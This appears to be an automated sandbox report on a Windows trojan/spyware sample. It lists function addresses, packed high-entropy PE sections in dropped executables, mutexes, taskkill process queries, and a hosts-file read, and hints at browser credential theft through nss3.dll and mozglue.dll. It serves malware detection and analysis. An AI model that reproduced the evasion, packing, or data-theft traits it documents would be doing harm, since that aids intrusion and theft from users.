Source: C:\Users\user\AppData\Local\Temp\1007274001\7250ce8e20.exe	Code function: 27_2_05E3F441	27_2_05E3F441
Source: C:\Users\user\AppData\Local\Temp\1007274001\7250ce8e20.exe	Code function: 27_2_05E69445	27_2_05E69445
Source: C:\Users\user\AppData\Local\Temp\1007274001\7250ce8e20.exe	Code function: 27_2_05E5644C	27_2_05E5644C
Source: C:\Users\user\AppData\Local\Temp\1007274001\7250ce8e20.exe	Code function: 27_2_05E4544D	27_2_05E4544D
Source: C:\Users\user\AppData\Local\Temp\1007274001\7250ce8e20.exe	Code function: 27_2_05E57C4F	27_2_05E57C4F
Source: C:\Users\user\AppData\Local\Temp\1007274001\7250ce8e20.exe	Code function: 27_2_05E3AC5D	27_2_05E3AC5D
Source: C:\Users\user\AppData\Local\Temp\1007274001\7250ce8e20.exe	Code function: 27_2_05E4842A	27_2_05E4842A
Source: C:\Users\user\AppData\Local\Temp\1007274001\7250ce8e20.exe	Code function: 27_2_05E2242D	27_2_05E2242D
Source: C:\Users\user\AppData\Local\Temp\1007274001\7250ce8e20.exe	Code function: 27_2_05E6443A	27_2_05E6443A
Source: C:\Users\user\AppData\Local\Temp\1007274001\7250ce8e20.exe	Code function: 27_2_05E46C0E	27_2_05E46C0E
Source: C:\Users\user\AppData\Local\Temp\1007274001\7250ce8e20.exe	Code function: 27_2_05E54C15	27_2_05E54C15
Source: C:\Users\user\AppData\Local\Temp\1007274001\7250ce8e20.exe	Code function: 27_2_05E44415	27_2_05E44415
Source: C:\Users\user\AppData\Local\Temp\1007274001\7250ce8e20.exe	Code function: 27_2_05E6B417	27_2_05E6B417
Source: C:\Users\user\AppData\Local\Temp\1007274001\7250ce8e20.exe	Code function: 27_2_05E5FC11	27_2_05E5FC11
Source: C:\Users\user\AppData\Local\Temp\1007274001\7250ce8e20.exe	Code function: 27_2_05E47C1C	27_2_05E47C1C
Source: C:\Users\user\AppData\Local\Temp\1007274001\7250ce8e20.exe	Code function: 27_2_05E6741A	27_2_05E6741A
Source: C:\Users\user\AppData\Local\Temp\1007274001\7250ce8e20.exe	Code function: 27_2_05E4B419	27_2_05E4B419
Source: C:\Users\user\AppData\Local\Temp\1007274001\7250ce8e20.exe	Code function: 27_2_05E1BC1E	27_2_05E1BC1E
Source: C:\Users\user\AppData\Local\Temp\1007274001\7250ce8e20.exe	Code function: 27_2_05E627E5	27_2_05E627E5
Source: C:\Users\user\AppData\Local\Temp\1007274001\7250ce8e20.exe	Code function: 27_2_05E647EA	27_2_05E647EA
Source: C:\Users\user\AppData\Local\Temp\1007274001\7250ce8e20.exe	Code function: 27_2_05E3E7ED	27_2_05E3E7ED
Source: C:\Users\user\AppData\Local\Temp\1007274001\7250ce8e20.exe	Code function: 27_2_05E5C7FA	27_2_05E5C7FA
Source: C:\Users\user\AppData\Local\Temp\1007274001\7250ce8e20.exe	Code function: 27_2_05E2EFC2	27_2_05E2EFC2
Source: C:\Users\user\AppData\Local\Temp\1007274001\7250ce8e20.exe	Code function: 27_2_05E24FC8	27_2_05E24FC8
Source: C:\Users\user\AppData\Local\Temp\1007274001\7250ce8e20.exe	Code function: 27_2_05E47FCE	27_2_05E47FCE
Source: C:\Users\user\AppData\Local\Temp\1007274001\7250ce8e20.exe	Code function: 27_2_05E7CFCC	27_2_05E7CFCC
Source: C:\Users\user\AppData\Local\Temp\1007274001\7250ce8e20.exe	Code function: 27_2_05E29FCC	27_2_05E29FCC
Source: C:\Users\user\AppData\Local\Temp\1007274001\7250ce8e20.exe	Code function: 27_2_05E34FD8	27_2_05E34FD8
Source: C:\Users\user\AppData\Local\Temp\1007274001\7250ce8e20.exe	Code function: 27_2_05E517DA	27_2_05E517DA
Source: C:\Users\user\AppData\Local\Temp\1007274001\7250ce8e20.exe	Code function: 27_2_05E457A5	27_2_05E457A5
Source: C:\Users\user\AppData\Local\Temp\1007274001\7250ce8e20.exe	Code function: 27_2_05E64FA2	27_2_05E64FA2
Source: C:\Users\user\AppData\Local\Temp\1007274001\7250ce8e20.exe	Code function: 27_2_05E21FB2	27_2_05E21FB2
Source: C:\Users\user\AppData\Local\Temp\1007274001\7250ce8e20.exe	Code function: 27_2_05E26FB6	27_2_05E26FB6
Source: C:\Users\user\AppData\Local\Temp\1007274001\7250ce8e20.exe	Code function: 27_2_05E60FB3	27_2_05E60FB3
Source: C:\Users\user\AppData\Local\Temp\1007274001\7250ce8e20.exe	Code function: 27_2_05E5FFBB	27_2_05E5FFBB
Source: C:\Users\user\AppData\Local\Temp\1007274001\7250ce8e20.exe	Code function: 27_2_05E3678C	27_2_05E3678C
Source: C:\Users\user\AppData\Local\Temp\1007274001\7250ce8e20.exe	Code function: 27_2_05E1DF9B	27_2_05E1DF9B
Source: C:\Users\user\AppData\Local\Temp\1007274001\7250ce8e20.exe	Code function: 27_2_05E5A765	27_2_05E5A765
Source: C:\Users\user\AppData\Local\Temp\1007274001\7250ce8e20.exe	Code function: 27_2_05E20F66	27_2_05E20F66
Source: C:\Users\user\AppData\Local\Temp\1007274001\7250ce8e20.exe	Code function: 27_2_05E50F6D	27_2_05E50F6D
Source: C:\Users\user\AppData\Local\Temp\1007274001\7250ce8e20.exe	Code function: 27_2_05E5EF6D	27_2_05E5EF6D
Source: C:\Users\user\AppData\Local\Temp\1007274001\7250ce8e20.exe	Code function: 27_2_05E4A776	27_2_05E4A776
Source: C:\Users\user\AppData\Local\Temp\1007274001\7250ce8e20.exe	Code function: 27_2_05E6AF73	27_2_05E6AF73
Source: C:\Users\user\AppData\Local\Temp\1007274001\7250ce8e20.exe	Code function: 27_2_05E22F5A	27_2_05E22F5A
Source: C:\Users\user\AppData\Local\Temp\1007274001\7250ce8e20.exe	Code function: 27_2_05E2FF5C	27_2_05E2FF5C
Source: C:\Users\user\AppData\Local\Temp\1007274001\7250ce8e20.exe	Code function: 27_2_05E38F27	27_2_05E38F27
Source: C:\Users\user\AppData\Local\Temp\1007274001\7250ce8e20.exe	Code function: 27_2_05E41722	27_2_05E41722
Source: C:\Users\user\AppData\Local\Temp\1007274001\7250ce8e20.exe	Code function: 27_2_05E3D732	27_2_05E3D732
Source: C:\Users\user\AppData\Local\Temp\1007274001\7250ce8e20.exe	Code function: 27_2_05E65F3F	27_2_05E65F3F
Source: C:\Users\user\AppData\Local\Temp\1007274001\7250ce8e20.exe	Code function: 27_2_05E51EE1	27_2_05E51EE1
Source: C:\Users\user\AppData\Local\Temp\1007274001\7250ce8e20.exe	Code function: 27_2_05E4DEE3	27_2_05E4DEE3
Source: C:\Users\user\AppData\Local\Temp\1007274001\7250ce8e20.exe	Code function: 27_2_05E2A6E8	27_2_05E2A6E8
Source: C:\Users\user\AppData\Local\Temp\1007274001\7250ce8e20.exe	Code function: 27_2_05E6CEEC	27_2_05E6CEEC
Source: C:\Users\user\AppData\Local\Temp\1007274001\7250ce8e20.exe	Code function: 27_2_05E2C6E9	27_2_05E2C6E9
Source: C:\Users\user\AppData\Local\Temp\1007274001\7250ce8e20.exe	Code function: 27_2_05E656F6	27_2_05E656F6
Source: C:\Users\user\AppData\Local\Temp\1007274001\7250ce8e20.exe	Code function: 27_2_05E3EEF5	27_2_05E3EEF5
Source: C:\Users\user\AppData\Local\Temp\1007274001\7250ce8e20.exe	Code function: 27_2_05E2B6F5	27_2_05E2B6F5
Source: C:\Users\user\AppData\Local\Temp\1007274001\7250ce8e20.exe	Code function: 27_2_05E18ECB	27_2_05E18ECB
Source: C:\Users\user\AppData\Local\Temp\1007274001\7250ce8e20.exe	Code function: 27_2_05E276C8	27_2_05E276C8
Source: C:\Users\user\AppData\Local\Temp\1007274001\7250ce8e20.exe	Code function: 27_2_05E436D5	27_2_05E436D5
Source: C:\Users\user\AppData\Local\Temp\1007274001\7250ce8e20.exe	Code function: 27_2_05E4EED7	27_2_05E4EED7
Source: C:\Users\user\AppData\Local\Temp\1007274001\7250ce8e20.exe	Code function: 27_2_05E396D7	27_2_05E396D7
Source: C:\Users\user\AppData\Local\Temp\1007274001\7250ce8e20.exe	Code function: 27_2_05E4F6D2	27_2_05E4F6D2
Source: C:\Users\user\AppData\Local\Temp\1007274001\7250ce8e20.exe	Code function: 27_2_05E236A3	27_2_05E236A3
Source: C:\Users\user\AppData\Local\Temp\1007274001\7250ce8e20.exe	Code function: 27_2_05E3A6BE	27_2_05E3A6BE
Source: C:\Users\user\AppData\Local\Temp\1007274001\7250ce8e20.exe	Code function: 27_2_05E6DE8C	27_2_05E6DE8C
Source: C:\Users\user\AppData\Local\Temp\1007274001\7250ce8e20.exe	Code function: 27_2_05E4369D	27_2_05E4369D
Source: C:\Users\user\AppData\Local\Temp\1007274001\7250ce8e20.exe	Code function: 27_2_05E55E63	27_2_05E55E63
Source: C:\Users\user\AppData\Local\Temp\1007274001\7250ce8e20.exe	Code function: 27_2_05E27E76	27_2_05E27E76
Source: C:\Users\user\AppData\Local\Temp\1007274001\7250ce8e20.exe	Code function: 27_2_05E58E7F	27_2_05E58E7F
Source: C:\Users\user\AppData\Local\Temp\1007274001\7250ce8e20.exe	Code function: 27_2_05E41E78	27_2_05E41E78
Source: C:\Users\user\AppData\Local\Temp\1007274001\7250ce8e20.exe	Code function: 27_2_05E49E7A	27_2_05E49E7A
Source: C:\Users\user\AppData\Local\Temp\1007274001\7250ce8e20.exe	Code function: 27_2_05E39E56	27_2_05E39E56
Source: C:\Users\user\AppData\Local\Temp\1007274001\7250ce8e20.exe	Code function: 27_2_05E1AE5A	27_2_05E1AE5A
Source: C:\Users\user\AppData\Local\Temp\1007274001\7250ce8e20.exe	Code function: 27_2_05E4265A	27_2_05E4265A
Source: C:\Users\user\AppData\Local\Temp\1007274001\7250ce8e20.exe	Code function: 27_2_05E58625	27_2_05E58625
Source: C:\Users\user\AppData\Local\Temp\1007274001\7250ce8e20.exe	Code function: 27_2_05E2EE2B	27_2_05E2EE2B
Source: C:\Users\user\AppData\Local\Temp\1007274001\7250ce8e20.exe	Code function: 27_2_05E5BE29	27_2_05E5BE29
Source: C:\Users\user\AppData\Local\Temp\1007274001\7250ce8e20.exe	Code function: 27_2_05E1FE35	27_2_05E1FE35
Source: C:\Users\user\AppData\Local\Temp\1007274001\7250ce8e20.exe	Code function: 27_2_05E45E31	27_2_05E45E31
Source: C:\Users\user\AppData\Local\Temp\1007274001\7250ce8e20.exe	Code function: 27_2_05E4FE39	27_2_05E4FE39
Source: C:\Users\user\AppData\Local\Temp\1007274001\7250ce8e20.exe	Code function: 27_2_05E16E02	27_2_05E16E02
Source: C:\Users\user\AppData\Local\Temp\1007274001\7250ce8e20.exe	Code function: 27_2_05E2660A	27_2_05E2660A
Source: C:\Users\user\AppData\Local\Temp\1007274001\7250ce8e20.exe	Code function: 27_2_05E59619	27_2_05E59619
Source: C:\Users\user\AppData\Local\Temp\1007274001\7250ce8e20.exe	Code function: 27_2_05E379E4	27_2_05E379E4
Source: C:\Users\user\AppData\Local\Temp\1007274001\7250ce8e20.exe	Code function: 27_2_05E411E3	27_2_05E411E3
Source: C:\Users\user\AppData\Local\Temp\1007274001\7250ce8e20.exe	Code function: 27_2_05E339FC	27_2_05E339FC
Source: C:\Users\user\AppData\Local\Temp\1007274001\7250ce8e20.exe	Code function: 27_2_05E291C0	27_2_05E291C0
Source: C:\Users\user\AppData\Local\Temp\1007274001\7250ce8e20.exe	Code function: 27_2_05E229D1	27_2_05E229D1
Source: C:\Users\user\AppData\Local\Temp\1007274001\7250ce8e20.exe	Code function: 27_2_05E309D6	27_2_05E309D6
Source: C:\Users\user\AppData\Local\Temp\1007274001\7250ce8e20.exe	Code function: 27_2_05E159A7	27_2_05E159A7
Source: C:\Users\user\AppData\Local\Temp\1007274001\7250ce8e20.exe	Code function: 27_2_05E441A3	27_2_05E441A3
Source: C:\Users\user\AppData\Local\Temp\1007274001\7250ce8e20.exe	Code function: 27_2_05E331AF	27_2_05E331AF
Source: C:\Users\user\AppData\Local\Temp\1007274001\7250ce8e20.exe	Code function: 27_2_05E409A9	27_2_05E409A9
Source: C:\Users\user\AppData\Local\Temp\1007274001\7250ce8e20.exe	Code function: 27_2_05E419BB	27_2_05E419BB
Source: C:\Users\user\AppData\Local\Temp\1007274001\7250ce8e20.exe	Code function: 27_2_05E5898B	27_2_05E5898B
Source: C:\Users\user\AppData\Local\Temp\1007274001\7250ce8e20.exe	Code function: 27_2_05E37190	27_2_05E37190
Source: C:\Users\user\AppData\Local\Temp\1007274001\7250ce8e20.exe	Code function: 27_2_05E1E994	27_2_05E1E994
Source: C:\Users\user\AppData\Local\Temp\1007274001\7250ce8e20.exe	Code function: 27_2_05E5E963	27_2_05E5E963
Source: C:\Users\user\AppData\Local\Temp\1007274001\7250ce8e20.exe	Code function: 27_2_05E5B96F	27_2_05E5B96F
Source: C:\Users\user\AppData\Local\Temp\1007274001\7250ce8e20.exe	Code function: 27_2_05E20170	27_2_05E20170
Source: C:\Users\user\AppData\Local\Temp\1007274001\7250ce8e20.exe	Code function: 27_2_05E0E973	27_2_05E0E973
Source: C:\Users\user\AppData\Local\Temp\1007274001\7250ce8e20.exe	Code function: 27_2_05E7D97E	27_2_05E7D97E
Source: C:\Users\user\AppData\Local\Temp\1007274001\7250ce8e20.exe	Code function: 27_2_05E5C97F	27_2_05E5C97F
Source: C:\Users\user\AppData\Local\Temp\1007274001\7250ce8e20.exe	Code function: 27_2_05E5C17B	27_2_05E5C17B
Source: C:\Users\user\AppData\Local\Temp\1007274001\7250ce8e20.exe	Code function: 27_2_05E1914C	27_2_05E1914C
Source: C:\Users\user\AppData\Local\Temp\1007274001\7250ce8e20.exe	Code function: 27_2_05E6414B	27_2_05E6414B
Source: C:\Users\user\AppData\Local\Temp\1007274001\7250ce8e20.exe	Code function: 27_2_05E37150	27_2_05E37150
Source: C:\Users\user\AppData\Local\Temp\1007274001\7250ce8e20.exe	Code function: 27_2_05E63955	27_2_05E63955
Source: C:\Users\user\AppData\Local\Temp\1007274001\7250ce8e20.exe	Code function: 27_2_05E5D953	27_2_05E5D953
Source: C:\Users\user\AppData\Local\Temp\1007274001\7250ce8e20.exe	Code function: 27_2_05E6295F	27_2_05E6295F
Source: C:\Users\user\AppData\Local\Temp\1007274001\7250ce8e20.exe	Code function: 27_2_05E69935	27_2_05E69935
Source: C:\Users\user\AppData\Local\Temp\1007274001\7250ce8e20.exe	Code function: 27_2_05E6C135	27_2_05E6C135
Source: C:\Users\user\AppData\Local\Temp\1007274001\7250ce8e20.exe	Code function: 27_2_05E54105	27_2_05E54105
Source: C:\Users\user\AppData\Local\Temp\1007274001\7250ce8e20.exe	Code function: 27_2_05E3290A	27_2_05E3290A
Source: C:\Users\user\AppData\Local\Temp\1007274001\7250ce8e20.exe	Code function: 27_2_05E6790D	27_2_05E6790D
Source: C:\Users\user\AppData\Local\Temp\1007274001\7250ce8e20.exe	Code function: 27_2_05E3F913	27_2_05E3F913
Source: C:\Users\user\AppData\Local\Temp\1007274001\7250ce8e20.exe	Code function: 27_2_05E6E8C4	27_2_05E6E8C4
Source: C:\Users\user\AppData\Local\Temp\1007274001\7250ce8e20.exe	Code function: 27_2_05E170C9	27_2_05E170C9
Source: C:\Users\user\AppData\Local\Temp\1007274001\7250ce8e20.exe	Code function: 27_2_05E240D3	27_2_05E240D3
Source: C:\Users\user\AppData\Local\Temp\1007274001\7250ce8e20.exe	Code function: 27_2_05E438D9	27_2_05E438D9
Source: C:\Users\user\AppData\Local\Temp\1007274001\7250ce8e20.exe	Code function: 27_2_05E548A9	27_2_05E548A9
Source: C:\Users\user\AppData\Local\Temp\1007274001\7250ce8e20.exe	Code function: 27_2_05E4B8BE	27_2_05E4B8BE
Source: C:\Users\user\AppData\Local\Temp\1007274001\7250ce8e20.exe	Code function: 27_2_05E4C8B8	27_2_05E4C8B8
Source: C:\Users\user\AppData\Local\Temp\1007274001\7250ce8e20.exe	Code function: 27_2_05E3B082	27_2_05E3B082
Source: C:\Users\user\AppData\Local\Temp\1007274001\7250ce8e20.exe	Code function: 27_2_05E65885	27_2_05E65885
Source: C:\Users\user\AppData\Local\Temp\1007274001\7250ce8e20.exe	Code function: 27_2_05E34085	27_2_05E34085
Source: C:\Users\user\AppData\Local\Temp\1007274001\7250ce8e20.exe	Code function: 27_2_05E2E885	27_2_05E2E885
Source: C:\Users\user\AppData\Local\Temp\1007274001\7250ce8e20.exe	Code function: 27_2_05E4D88C	27_2_05E4D88C
Source: C:\Users\user\AppData\Local\Temp\1007274001\7250ce8e20.exe	Code function: 27_2_05E4788F	27_2_05E4788F
Source: C:\Users\user\AppData\Local\Temp\1007274001\7250ce8e20.exe	Code function: 27_2_05E66888	27_2_05E66888
Source: C:\Users\user\AppData\Local\Temp\1007274001\7250ce8e20.exe	Code function: 27_2_05E3A892	27_2_05E3A892
Source: C:\Users\user\AppData\Local\Temp\1007274001\7250ce8e20.exe	Code function: 27_2_05E5D094	27_2_05E5D094
Source: C:\Users\user\AppData\Local\Temp\1007274001\7250ce8e20.exe	Code function: 27_2_05E1B864	27_2_05E1B864
Source: C:\Users\user\AppData\Local\Temp\1007274001\7250ce8e20.exe	Code function: 27_2_05E53062	27_2_05E53062
Source: C:\Users\user\AppData\Local\Temp\1007274001\7250ce8e20.exe	Code function: 27_2_05E2C071	27_2_05E2C071
Source: C:\Users\user\AppData\Local\Temp\1007274001\7250ce8e20.exe	Code function: 27_2_05E6B840	27_2_05E6B840
Source: C:\Users\user\AppData\Local\Temp\1007274001\7250ce8e20.exe	Code function: 27_2_05E3A85E	27_2_05E3A85E
Source: C:\Users\user\AppData\Local\Temp\1007274001\7250ce8e20.exe	Code function: 27_2_05E26830	27_2_05E26830
Source: C:\Users\user\AppData\Local\Temp\1007274001\7250ce8e20.exe	Code function: 27_2_05E60835	27_2_05E60835
Source: C:\Users\user\AppData\Local\Temp\1007274001\7250ce8e20.exe	Code function: 27_2_05E3F83A	27_2_05E3F83A
Source: C:\Users\user\AppData\Local\Temp\1007274001\7250ce8e20.exe	Code function: 27_2_05E5680C	27_2_05E5680C
Source: C:\Users\user\AppData\Local\Temp\1007274001\7250ce8e20.exe	Code function: 27_2_05E57015	27_2_05E57015
Source: C:\Users\user\AppData\Local\Temp\1007274001\7250ce8e20.exe	Code function: 27_2_05E62015	27_2_05E62015
Source: C:\Users\user\AppData\Local\Temp\1007274001\7250ce8e20.exe	Code function: 27_2_05E61BE3	27_2_05E61BE3
Source: C:\Users\user\AppData\Local\Temp\1007274001\7250ce8e20.exe	Code function: 27_2_05E1F3F4	27_2_05E1F3F4
Source: C:\Users\user\AppData\Local\Temp\1007274001\7250ce8e20.exe	Code function: 27_2_05E36BFB	27_2_05E36BFB
Source: C:\Users\user\AppData\Local\Temp\1007274001\7250ce8e20.exe	Code function: 27_2_05E163C3	27_2_05E163C3
Source: C:\Users\user\AppData\Local\Temp\1007274001\7250ce8e20.exe	Code function: 27_2_05E4ABD7	27_2_05E4ABD7
Source: C:\Users\user\AppData\Local\Temp\1007274001\7250ce8e20.exe	Code function: 27_2_05E603DA	27_2_05E603DA
Source: C:\Users\user\AppData\Local\Temp\1007274001\7250ce8e20.exe	Code function: 27_2_05E1D3A8	27_2_05E1D3A8
Source: C:\Users\user\AppData\Local\Temp\1007274001\7250ce8e20.exe	Code function: 27_2_05E21BAF	27_2_05E21BAF
Source: C:\Users\user\AppData\Local\Temp\1007274001\7250ce8e20.exe	Code function: 27_2_05E56BB4	27_2_05E56BB4
Source: C:\Users\user\AppData\Local\Temp\1007274001\7250ce8e20.exe	Code function: 27_2_05E163B6	27_2_05E163B6
Source: C:\Users\user\AppData\Local\Temp\1007274001\7250ce8e20.exe	Code function: 27_2_05E62397	27_2_05E62397
Source: C:\Users\user\AppData\Local\Temp\1007274001\7250ce8e20.exe	Code function: 27_2_05E1FB96	27_2_05E1FB96
Source: C:\Users\user\AppData\Local\Temp\1007274001\7250ce8e20.exe	Code function: 27_2_05E60B9F	27_2_05E60B9F
Source: C:\Users\user\AppData\Local\Temp\1007274001\7250ce8e20.exe	Code function: 27_2_05E40377	27_2_05E40377
Source: C:\Users\user\AppData\Local\Temp\1007274001\7250ce8e20.exe	Code function: 27_2_05E66B45	27_2_05E66B45
Source: C:\Users\user\AppData\Local\Temp\1007274001\7250ce8e20.exe	Code function: 27_2_05E23352	27_2_05E23352
Source: C:\Users\user\AppData\Local\Temp\1007274001\7250ce8e20.exe	Code function: 27_2_05E6CB56	27_2_05E6CB56
Source: C:\Users\user\AppData\Local\Temp\1007274001\7250ce8e20.exe	Code function: 27_2_05E34B5D	27_2_05E34B5D
Source: C:\Users\user\AppData\Local\Temp\1007274001\7250ce8e20.exe	Code function: 27_2_05E5F320	27_2_05E5F320
Source: C:\Users\user\AppData\Local\Temp\1007274001\7250ce8e20.exe	Code function: 27_2_05E5132D	27_2_05E5132D
Source: C:\Users\user\AppData\Local\Temp\1007274001\7250ce8e20.exe	Code function: 27_2_05E3BB31	27_2_05E3BB31
Source: C:\Users\user\AppData\Local\Temp\1007274001\7250ce8e20.exe	Code function: 27_2_05E28B37	27_2_05E28B37
Source: C:\Users\user\AppData\Local\Temp\1007274001\7250ce8e20.exe	Code function: 27_2_05E2EB3F	27_2_05E2EB3F
Source: C:\Users\user\AppData\Local\Temp\1007274001\7250ce8e20.exe	Code function: 27_2_05E42310	27_2_05E42310
Source: C:\Users\user\AppData\Local\Temp\1007274001\7250ce8e20.exe	Code function: 27_2_05E5931B	27_2_05E5931B
Source: C:\Users\user\AppData\Local\Temp\1007274001\7250ce8e20.exe	Code function: 27_2_05E6DAE5	27_2_05E6DAE5
Source: C:\Users\user\AppData\Local\Temp\1007274001\7250ce8e20.exe	Code function: 27_2_05E212EC	27_2_05E212EC
Source: C:\Users\user\AppData\Local\Temp\1007274001\7250ce8e20.exe	Code function: 27_2_05E382D3	27_2_05E382D3
Source: C:\Users\user\AppData\Local\Temp\1007274001\7250ce8e20.exe	Code function: 27_2_05E38AD5	27_2_05E38AD5
Source: C:\Users\user\AppData\Local\Temp\1007274001\7250ce8e20.exe	Code function: 27_2_05E462DF	27_2_05E462DF
Source: C:\Users\user\AppData\Local\Temp\1007274001\7250ce8e20.exe	Code function: 27_2_05E20ADC	27_2_05E20ADC
Source: C:\Users\user\AppData\Local\Temp\1007274001\7250ce8e20.exe	Code function: 27_2_05E6EAAD	27_2_05E6EAAD
Source: C:\Users\user\AppData\Local\Temp\1007274001\7250ce8e20.exe	Code function: 27_2_05E4DABB	27_2_05E4DABB
Source: C:\Users\user\AppData\Local\Temp\1007274001\7250ce8e20.exe	Code function: 27_2_05E2828D	27_2_05E2828D
Source: C:\Users\user\AppData\Local\Temp\1007274001\7250ce8e20.exe	Code function: 27_2_05E5526D	27_2_05E5526D
Source: C:\Users\user\AppData\Local\Temp\1007274001\7250ce8e20.exe	Code function: 27_2_05E5E271	27_2_05E5E271
Source: C:\Users\user\AppData\Local\Temp\1007274001\7250ce8e20.exe	Code function: 27_2_05E1AA78	27_2_05E1AA78
Source: C:\Users\user\AppData\Local\Temp\1007274001\7250ce8e20.exe	Code function: 27_2_05E2B248	27_2_05E2B248
Source: C:\Users\user\AppData\Local\Temp\1007274001\7250ce8e20.exe	Code function: 27_2_05E45A48	27_2_05E45A48
Source: C:\Users\user\AppData\Local\Temp\1007274001\7250ce8e20.exe	Code function: 27_2_05E4EA23	27_2_05E4EA23
Source: C:\Users\user\AppData\Local\Temp\1007274001\7250ce8e20.exe	Code function: 27_2_05E48A2A	27_2_05E48A2A
Source: C:\Users\user\AppData\Local\Temp\1007274001\7250ce8e20.exe	Code function: 27_2_05E5A234	27_2_05E5A234
Source: C:\Users\user\AppData\Local\Temp\1007274001\7250ce8e20.exe	Code function: 27_2_05E1B203	27_2_05E1B203
Source: C:\Users\user\AppData\Local\Temp\1007274001\7250ce8e20.exe	Code function: 27_2_05E3320C	27_2_05E3320C
Source: C:\Users\user\AppData\Local\Temp\1007274001\7250ce8e20.exe	Code function: 27_2_05E42A12	27_2_05E42A12
Source: C:\Users\user\AppData\Local\Temp\1007274001\7250ce8e20.exe	Code function: 27_2_05E1DA19	27_2_05E1DA19
Source: C:\Users\user\AppData\Local\Temp\1007274001\7250ce8e20.exe	Code function: 27_2_05E3AA18	27_2_05E3AA18
Source: C:\Users\user\AppData\Local\Temp\1007274001\7250ce8e20.exe	Code function: 27_2_05E3CA1E	27_2_05E3CA1E

Source: C:\Users\user\Desktop\file.exe	Code function: String function: 6C9994D0 appears 90 times
Source: C:\Users\user\Desktop\file.exe	Code function: String function: 6C98CBE8 appears 134 times

Source: file.exe, 00000000.00000002.2806772923.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmp	Binary or memory string: OriginalFilenamemozglue.dll0 vs file.exe
Source: file.exe, 00000000.00000002.2801693816.0000000023B7B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameCmd.Exej% vs file.exe
Source: file.exe, 00000000.00000002.2807640623.000000006CBD5000.00000002.00000001.01000000.00000009.sdmp	Binary or memory string: OriginalFilenamenss3.dll0 vs file.exe

Source: file.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: file.exe	Static PE information: Section: cyeoavrb ZLIB complexity 0.9948083252752157
Source: DocumentsHDGCAAFBFB.exe.0.dr	Static PE information: Section: ZLIB complexity 0.9983448995231607
Source: DocumentsHDGCAAFBFB.exe.0.dr	Static PE information: Section: lcjijwvn ZLIB complexity 0.9943131645969661
Source: random[1].exe.0.dr	Static PE information: Section: ezqiassj ZLIB complexity 0.994598044229684
Source: skotes.exe.23.dr	Static PE information: Section: ZLIB complexity 0.9983448995231607
Source: skotes.exe.23.dr	Static PE information: Section: lcjijwvn ZLIB complexity 0.9943131645969661
Source: 9b3207e1a5.exe.24.dr	Static PE information: Section: ezqiassj ZLIB complexity 0.994598044229684
Source: random[1].exe.24.dr	Static PE information: Section: ZLIB complexity 0.9974216171617162
Source: random[1].exe.24.dr	Static PE information: Section: wwpoecnv ZLIB complexity 0.9948872218538167
Source: 7250ce8e20.exe.24.dr	Static PE information: Section: ZLIB complexity 0.9974216171617162
Source: 7250ce8e20.exe.24.dr	Static PE information: Section: wwpoecnv ZLIB complexity 0.9948872218538167
Source: random[1].exe0.24.dr	Static PE information: Section: cyeoavrb ZLIB complexity 0.9948083252752157
Source: 35e66d06ff.exe.24.dr	Static PE information: Section: cyeoavrb ZLIB complexity 0.9948083252752157

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@130/303@199/43

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6C9B7030 GetLastError,FormatMessageA,__acrt_iob_func,__acrt_iob_func,__acrt_iob_func,fflush,LocalFree,

0_2_6C9B7030

Source: C:\Users\user\Desktop\file.exe

File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\8HXJSKQQ\XJ7KU478.htm

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\1007277001\8865d2703a.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:356:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7020:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:1080:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:2396:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:2332:120:WilError_03
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Mutant created: \Sessions\1\BaseNamedObjects\006700e5a2ab05704bbb0c589b88924d
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6940:120:WilError_03

Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

File created: C:\Users\user\AppData\Local\Temp\2fadb55b-a71b-4514-a183-80f52f6b2b4a.tmp

Jump to behavior

Source: C:\Windows\SysWOW64\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process
Source: C:\Windows\SysWOW64\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process
Source: C:\Windows\SysWOW64\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process
Source: C:\Windows\SysWOW64\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process
Source: C:\Windows\SysWOW64\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process

Source: C:\Users\user\Desktop\file.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\1007265001\9b3207e1a5.exe	File read: C:\Windows\System32\drivers\etc\hosts
